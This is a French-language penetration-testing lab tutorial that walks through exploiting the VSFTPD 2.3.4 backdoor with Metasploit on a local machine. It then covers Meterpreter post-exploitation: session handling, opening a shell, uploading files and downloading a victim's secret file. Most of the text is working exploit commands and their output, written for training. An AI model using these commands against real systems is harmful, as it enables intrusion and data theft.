Bases de la post-exploitation avec Metasploit

LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous allez découvrir les fondamentaux de la post-exploitation à l'aide du framework Metasploit. Dans un premier temps, vous obtiendrez un accès initial en exploitant un serveur FTP vulnérable afin d'établir une session Meterpreter. Ensuite, vous passerez à la phase de post-exploitation. L'objectif de cette étape est d'explorer le système compromis, d'élever vos privilèges et d'exfiltrer des données.

Vous vous exercerez aux commandes Meterpreter essentielles pour interagir avec une session, exécuter des commandes shell et transférer des fichiers entre la machine de l'attaquant et celle de la victime. Ce laboratoire vous guidera depuis l'exploitation initiale jusqu'aux techniques de base de post-exploitation.

Obtenir un accès initial

Dans cette étape, vous allez accéder au système cible en exploitant une porte dérobée (backdoor) dans le service VSFTPD 2.3.4. Cela vous permettra d'obtenir une session Meterpreter pour la post-exploitation.

Tout d'abord, lancez la console du framework Metasploit.

msfconsole -q

Une fois Metasploit lancé, sélectionnez l'exploit pour la porte dérobée VSFTPD 2.3.4.

use exploit/unix/ftp/vsftpd_234_backdoor

Configurez maintenant les options de la cible et du payload. Comme le service s'exécute sur la même machine, nous utilisons l'adresse IP de bouclage (loopback). Le payload par défaut nécessite LHOST et peut échouer avec l'erreur "All encoders failed to encode" - définissez l'encodeur pour éviter cela :

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

Enfin, lancez l'exploit.

exploit

DÉPANNAGE : Si vous voyez Msf::OptionValidateError One or more options failed to validate: LHOST, exécutez set LHOST 127.0.0.1. Si vous voyez All encoders failed to encode, exécutez set Encoder generic/none. Puis relancez exploit.

AVERTISSEMENT : La première tentative peut échouer avec le message "Unable to connect to backdoor on 6200/TCP. Cooldown?" ou "Exploit completed, but no session was created." Si cela se produit, exécutez simplement la commande exploit à nouveau ; la deuxième tentative devrait réussir.

Si l'opération réussit, une session Meterpreter sera ouverte (session 1).

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Vous disposez désormais d'une session Meterpreter. Pour revenir à l'invite msf > pour l'étape suivante, appuyez sur Ctrl+Z puis sur y lorsque le système demande "Background session 1?".

Interagir avec une session Meterpreter

Maintenant que votre session Meterpreter est en arrière-plan, vous allez apprendre à interagir avec elle. La commande sessions liste toutes les sessions actives et ne fonctionne qu'à partir de l'invite principale de Metasploit (msf exploit(...) >), et non à l'intérieur de Meterpreter.

Pour voir vos sessions actives, exécutez :

sessions

Vous devriez voir votre session Meterpreter avec l'ID 1.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Pour interagir avec la session 1, exécutez :

sessions -i 1

Votre invite changera pour meterpreter >, indiquant que vous êtes désormais à l'intérieur de la session.

[*] Starting interaction with 1...

meterpreter >

Vous êtes maintenant prêt à exécuter des commandes de post-exploitation depuis Meterpreter.

Exécuter une commande shell avec la commande shell

Depuis Meterpreter, vous pouvez basculer vers un shell système standard pour exécuter des commandes sur la cible. C'est utile lorsque vous devez exécuter des commandes ou des scripts spécifiques au shell.

À l'invite meterpreter >, tapez :

shell

Un shell standard s'ouvrira sur la cible distante. L'invite peut sembler se figer brièvement, mais vous êtes désormais dans un shell système et pouvez exécuter des commandes directement.

Process 1654 created.
Channel 1 created.

Exécutez whoami pour confirmer votre contexte utilisateur :

whoami
labex

Tapez exit pour revenir à l'invite Meterpreter.

exit

Votre invite redeviendra meterpreter >. Dans l'étape suivante, vous utiliserez cette session pour télécharger un fichier vers la cible.

Téléverser un fichier avec upload /chemin/local /chemin/distant

La commande upload de Meterpreter transfère des fichiers de votre machine locale vers la cible. Un fichier nommé local_file.txt se trouve dans /home/labex/project. Téléversez-le vers /tmp sur la machine distante.

Depuis l'invite meterpreter >, exécutez :

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

Vous verrez une sortie confirmant le téléversement :

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

Dans ce laboratoire, la cible s'exécute sur la même machine, le fichier apparaît donc dans /tmp/uploaded_file.txt. Ensuite, vous pratiquerez l'opération inverse : télécharger un fichier depuis la cible.

Télécharger un fichier avec download /chemin/distant /chemin/local

La commande download transfère des fichiers de la cible vers votre machine locale. Un fichier nommé secret_data.txt se trouve dans /tmp sur le système distant. Téléchargez-le dans votre répertoire de projet.

Depuis l'invite meterpreter >, exécutez :

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

Vous verrez une sortie confirmant le téléchargement. Meterpreter peut créer un répertoire nommé downloaded_secret.txt et y placer le fichier sous le nom secret_data.txt.

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

Le fichier est maintenant sur votre machine locale. Dans la dernière étape, vous fermerez la session et vérifierez le contenu téléchargé.

Quitter la session avec la commande exit

Dans cette dernière étape, vous allez fermer la session Meterpreter et quitter la console Metasploit.

Depuis l'invite meterpreter >, tapez exit pour fermer la session.

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Pour quitter la console Metasploit, tapez exit. Si une session active est signalée, utilisez exit -y pour forcer la fermeture.

exit -y

Vérifiez le fichier téléchargé. Comme indiqué précédemment, Meterpreter a pu créer un répertoire ; le fichier se trouve dans downloaded_secret.txt/secret_data.txt :

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

Félicitations ! Vous avez terminé un flux de travail complet d'exploitation et de post-exploitation.

Résumé

Dans ce laboratoire, vous avez appris un flux de travail complet, de l'accès initial à la post-exploitation. Vous avez commencé par obtenir une session Meterpreter via un exploit. Vous vous êtes exercé à lister et interagir avec des sessions, à obtenir un shell système standard depuis Meterpreter, et vous avez maîtrisé le transfert de fichiers entre la machine de l'attaquant et celle de la victime en utilisant les commandes upload et download. Enfin, vous avez appris à fermer correctement une session et à quitter la console Metasploit. Ces compétences sont fondamentales pour les tests d'intrusion.